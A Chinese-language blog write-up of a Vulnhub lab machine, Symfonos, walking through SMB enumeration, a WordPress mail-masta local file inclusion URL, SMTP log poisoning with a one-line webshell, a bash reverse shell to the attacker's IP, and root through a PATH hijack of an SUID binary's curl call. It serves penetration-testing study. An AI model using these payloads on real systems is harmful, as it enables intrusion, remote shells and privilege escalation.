Symfonos——借助PATH环境变量提权

#简述

本文通过对Vulnhub靶机——Symfonos的渗透学习关于Path环境变量提权的方法。

#过程

靶机:192.168.230.225
攻击机:192.168.230.128

1、老样子,对C段进行扫描得到靶机的IP地址
屏幕截图 2024-04-02 111034.jpg
2、再对目标IP进行详细的端口扫描,以防缺漏
屏幕截图 2024-04-02 111344.jpg
可以看到靶机开放了 22、25、80、139、445 端口。

3、访问80端口,没啥收获
屏幕截图 2024-04-02 111504.jpg

4、然后使用dirsearch工具对其进行目录扫描
屏幕截图 2024-04-02 112129.jpg

5、访问 /manual 路径,是一个 Apache HTTP Server 的页面
屏幕截图 2024-04-02 112149.jpg

6、做到这里反而没去找Apache相关的漏洞,而是把目光转向 445 端口
屏幕截图 2024-04-02 112648.jpg
既然开放了445端口,那么SMB协议也是一个突破口。

7、使用smbclient对靶机IP信息收集,发现了两个共享文件夹分别为 heliosanonymous。其中helios需要密码才能登录,而anonymous不需要。
屏幕截图 2024-04-02 113137.jpg

8、访问anonymous文件夹,发现里面有一个名为** attention.txt** 文件
屏幕截图 2024-04-02 113248.jpg
其内容为:
屏幕截图 2024-04-02 113312.jpg
大致意思是不要用 "epidoko"、"qwerty"和"baseball"这三个密码。

9、利用这个线索去登录另外的文件夹helios
屏幕截图 2024-04-02 141057.jpg
成功登录,发现下面也存在两个txt文件

10、下载打开来看
屏幕截图 2024-04-02 141211.jpg
上面这段讲的是一个神话故事,没什么用;而下面的就给了一个路径的提示:/h3l105
屏幕截图 2024-04-02 141224.jpg

11、访问该路径,从页面的关键字或指纹识别插件来看,这是用WordPress搭建的
屏幕截图 2024-04-02 141751.jpg
屏幕截图 2024-04-02 141804.jpg

12、使用WPScan这个专门针对WordPress漏洞扫描工具对当前URL进行扫描,并且设置上插件检测模式。
屏幕截图 2024-04-02 144444.jpg

13、从扫描的结果来看,mail-masta 这处标红
屏幕截图 2024-04-02 143834.jpg

14、使用searchsploit搜索关于 WordPress的mail-masta的exp
屏幕截图 2024-04-02 144827.jpg
搜索结果显示有三个

15、选择第一个本地文件包含漏洞,找到对应路径下的txt文件
屏幕截图 2024-04-02 150343.jpg

下面是漏洞URL:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
屏幕截图 2024-04-02 150402.jpg

16、验证一下,成功读取到** /etc/passwd** 文件
屏幕截图 2024-04-02 151042.jpg
执行id命令
屏幕截图 2024-04-02 152143.jpg

17、由于靶机也开放了25端口,是SMTP服务,那就结合邮件投毒和本地文件包含漏洞来进行getshell
屏幕截图 2024-04-02 151830.jpg
在邮件中写了一句话木马:

18、访问** /var/mail/helios** 路径下,发现刚才写的一句话木马已经被解析
屏幕截图 2024-04-02 152413.jpg
19、payload:** shell=/bin/bash -i >& /dev/tcp/192.168.230.128/5555 0>&1**
执行反弹shell命令
屏幕截图 2024-04-02 152908.jpg
成功反弹

20、这时候的用户为helios,为普通用户,需要进一步提权到root
屏幕截图 2024-04-02 152933.jpg

21、执行命令:find / -perm -4000 -type f 2>/dev/null
搜索具有SUID权限的可执行文件
屏幕截图 2024-04-02 153334.jpg
发现一个特殊的文件,跟其他的路径不太一样

22、查看具体内容,发现是一堆乱码,应该是二进制文件
屏幕截图 2024-04-02 153654.jpg
使用strings查看,发现 curl 命令
屏幕截图 2024-04-02 153803.jpg

23、借助PATH环境变量提权:先在/tmp目录下新建一个curl文件,把 "/bin/sh"命令写入文件中,然后把/tmp写入环境变量中,接着执行 /opt/statuscheck,成功拿到root的shell!
屏幕截图 2024-04-03 093054.jpg

#总结

1、大致过程:web漏洞(入口点)-> 个人用户权限 -> 管理员用户(root)
2、这个靶机主要考察是Path环境变量配合SUID提权,提权关键在于那个拥有SUID的 /opt/statuscheck 文件,而他里面包含的curl又可以借此来伪造一个我们自定义的curl(包含getshell命令,也可以尝试反弹),通过修改环境变量来达到提权目的。
前提条件:
(1)需要找到的文件具有SUID权限;(2)该文件调用了某命令。
3、通过这次打靶也学习了一部分关于445端口SMB协议的渗透思路,以及SMTP邮件投毒的方法。

posted @ 2024-04-06 08:38  GoxHam23  阅读(30)  评论(0编辑  收藏  举报